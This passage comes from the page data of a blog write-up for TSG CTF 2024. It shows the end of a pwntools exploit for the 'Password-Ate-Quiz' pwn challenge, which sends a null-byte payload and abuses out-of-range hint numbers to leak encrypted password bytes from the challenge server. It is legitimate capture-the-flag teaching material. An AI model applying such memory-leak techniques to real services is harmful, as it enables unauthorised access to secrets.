string\">\"start\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"wt.exe\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"-w\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"0\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"sp\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"-s\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\".75\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"-d\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\".\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"wsl.exe\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">'-d'</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Ubuntu\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"bash\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"-c\"</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token comment\"># Set gdb script</span>\n<span class=\"token comment\"># BASE = 0x555555554000</span>\n<span class=\"token comment\"># DBGADDR = hex(BASE + 0x8af)</span>\ngdbscript <span class=\"token operator\">=</span> <span class=\"token string-interpolation\"><span class=\"token string\">f\"\"\"\nb *(main+290)\ncontinue\n\"\"\"</span></span>\n\n<span class=\"token comment\"># Set target</span>\nTARGET_PATH <span class=\"token operator\">=</span> <span class=\"token string\">\"./chall\"</span>\nexe <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span>TARGET_PATH<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Run program</span>\nis_gdb <span class=\"token operator\">=</span> <span class=\"token boolean\">True</span>\nis_gdb <span class=\"token operator\">=</span> <span class=\"token boolean\">False</span>\n<span class=\"token keyword\">if</span> is_gdb<span class=\"token punctuation\">:</span>\n    target <span class=\"token operator\">=</span> gdb<span class=\"token punctuation\">.</span>debug<span class=\"token punctuation\">(</span>TARGET_PATH<span class=\"token punctuation\">,</span> aslr<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token punctuation\">,</span> gdbscript<span class=\"token operator\">=</span>gdbscript<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n    target <span class=\"token operator\">=</span> remote<span class=\"token punctuation\">(</span><span class=\"token string\">\"34.146.186.1\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">41778</span><span class=\"token punctuation\">,</span> ssl<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\"># target = process(TARGET_PATH)</span>\n\n<span class=\"token comment\"># Exploit</span>\ntarget<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter the password > \"</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">=</span> <span class=\"token string\">b\"\\x00\"</span><span class=\"token operator\">*</span><span class=\"token number\">0x19</span>\ntarget<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\nenc_password <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    r <span class=\"token operator\">=</span> target<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">b\"Enter a hint number (0~2) > \"</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">if</span> i <span class=\"token operator\">!=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">:</span>\n        <span class=\"token comment\"># print(r)</span>\n        enc_password<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>\n            r<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">:</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span>\n        <span class=\"token punctuation\">)</span>\n    payload <span class=\"token operator\">=</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>encode<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    target<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> e <span class=\"token keyword\">in</span> enc_password<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"E: {}\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>struct<span class=\"token punctuation\">.</span>unpack<span class=\"token punctuation\">(</span><span class=\"token string\">\"&lt;Q\"</span><span class=\"token punctuation\">,</span> e<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># ThrtclScncGrp-eoeiaieeou-1959</span>\n\n<span class=\"token comment\"># Finish exploit</span>\ntarget<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ntarget<span class=\"token punctuation\">.</span>clean<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>Below is the recipe I used to decrypt the password.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 659px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/a03b902f543159902f6212beb7149678/6db71/image-20241215010403860.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 65.41666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACB0lEQVQ4y31TiY6bMBTk//+rK1XdI+kSIOTgCrcBG8INmT68SlKl6Voajf1sj9/z2EoSp3AsB303YBomjI/oR0zjjKZuoaka1h9rWEcbpagQeCHtmXEZIbnrOiges2GGGrzCRlz5iKrTP1jiofBwCLfY+zqc5AA3P+DdfYGefGCTvsHJdnTwBMVMVHz4P6HFKzjChM23z0FzbrWDlRs4ElgdIWsjsCZE2gQQXY6lKewcI80Z+nGQgcvl8g1muaYeKrRDg8e2rFHcfA87MxGUDoLqjvCBb6B1njig6c9fIrgfKDNUg3f8jn/BLrc4Co2g48A17AuVeIN9rsqxRfGlr0crGMkaNQle5gumacI8zzcooTghzAIUIgcrUuScoayFLEmcBUSf45S5OCUndGOLiSwte460SMC5QHWupLtXKIGgsgoP/rKJOcQOIu4jqxNEIkBc+3LeS22KxeBdBtaGiFmInbmTosMwSLG+76Fs3BXenBeoZP1n/AqNrXDkVHaxIdaINTm2hCFj+3wjOeMpirxAS0LL/d1KPqQ6tnQnu0yFyT6JN7AKAxYnFPqNj7e+IQ+pu0re4dWMa1P0aI3X0w8p+JWZJjN4CsrOiNcygWaonz4zZfkBWcVQdYLe1xnN+A1ovh0bFC2TLl8F/2Yp6Kceueii7DjOAznX/x/1UCJr4vs7fCj5D57F1h2RcWsKAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/a03b902f543159902f6212beb7149678/8ac56/image-20241215010403860.webp 240w,\n/static/a03b902f543159902f6212beb7149678/d3be9/image-20241215010403860.webp 480w,\n/static/a03b902f543159902f6212beb7149678/d2334/image-20241215010403860.webp 659w\"\n              sizes=\"(max-width: 659px) 100vw, 659px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/a03b902f543159902f6212beb7149678/8ff5a/image-20241215010403860.png 240w,\n/static/a03b902f543159902f6212beb7149678/e85cb/image-20241215010403860.png 480w,\n/static/a03b902f543159902f6212beb7149678/6db71/image-20241215010403860.png 659w\"\n            sizes=\"(max-width: 659px) 100vw, 659px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/a03b902f543159902f6212beb7149678/6db71/image-20241215010403860.png\"\n            alt=\"image-20241215010403860\"\n            title=\"image-20241215010403860\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>By sending the password identified in this way to the challenge server, I was able to obtain the correct flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 710px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/b648d6f2a12c48e33ffdb901c94e1cd6/7131f/image-20241215010347846.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 60.83333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABpUlEQVQoz5VTaVPrMAx0WpJC0rROc59NQpPSkB5Agf//yxZJ5b0ZBobjg8aSbK9X1kotlhpZnqKsCsRJjE23Qb/t0fUd+R2yLJV8ymscIUkTJO9xEAaI4lj2+ZzjOFCGobC96ymRwZgoJLVGWLkISgfuwoFhGFBK/d4mkwkx6jCfzwldwSkU3DVZRZtT9TcwtoV20d42CMMQnq+R1xHS2keQu3DdOTzPg/a0lMOx1vq/eZSfzWYfAbn+u90Wh+Meh8Me4zii73vMrGtcmVdygc00TViWdfEtU2L2p9PpR8Asz3B+fsLzy/lir2cB57/9c7kXhgmG+x0eHk8CdHo4UpO2sG1bGF3f3Hxm8Z1lZYGmqUkmG9S0+oGP5XKJlb+iRjnkLwT414Aj6a0nRsOwE4b7w0gPrEWHa9JWSB9vkBJYDcz0n3H8JeCOhMyXm7aW5gzjgJIaxUBrAi6ogjAKhTk3kMXNgvapgi8BKyqzbRvRYlWVJKGWpqakCYhkGpJ3EM4VRS5f8G3Jr6cjfHqRD4oWV54wyKn7rLMgCASUWdqO/ePkvAEoShhb3H687AAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/b648d6f2a12c48e33ffdb901c94e1cd6/8ac56/image-20241215010347846.webp 240w,\n/static/b648d6f2a12c48e33ffdb901c94e1cd6/d3be9/image-20241215010347846.webp 480w,\n/static/b648d6f2a12c48e33ffdb901c94e1cd6/457aa/image-20241215010347846.webp 710w\"\n              sizes=\"(max-width: 710px) 100vw, 710px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/b648d6f2a12c48e33ffdb901c94e1cd6/8ff5a/image-20241215010347846.png 240w,\n/static/b648d6f2a12c48e33ffdb901c94e1cd6/e85cb/image-20241215010347846.png 480w,\n/static/b648d6f2a12c48e33ffdb901c94e1cd6/7131f/image-20241215010347846.png 710w\"\n            sizes=\"(max-width: 710px) 100vw, 710px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/b648d6f2a12c48e33ffdb901c94e1cd6/7131f/image-20241215010347846.png\"\n            alt=\"image-20241215010347846\"\n            title=\"image-20241215010347846\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>I did not have enough patience to completely solve the SQLite VM challenge, but I plan to review that one in another article.</p>","fields":{"slug":"/ctf-tsg-ctf-2024-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2024-12-16","description":"A writeup for TSG CTF 2024 (Rev: Misbehave, Pwn: Password-Ate-Quiz).","tags":["CTF (en)","Rev (en)","Pwn (en)","English"],"title":"TSG CTF 2024 Writeup (Rev: Misbehave, Pwn: Password-Ate-Quiz)","socialImage":{"publicURL":"/static/ac43d40670936b591f49625d2928b9fb/ctf-tsg-ctf-2024.png"}}}},"pageContext":{"slug":"/ctf-tsg-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}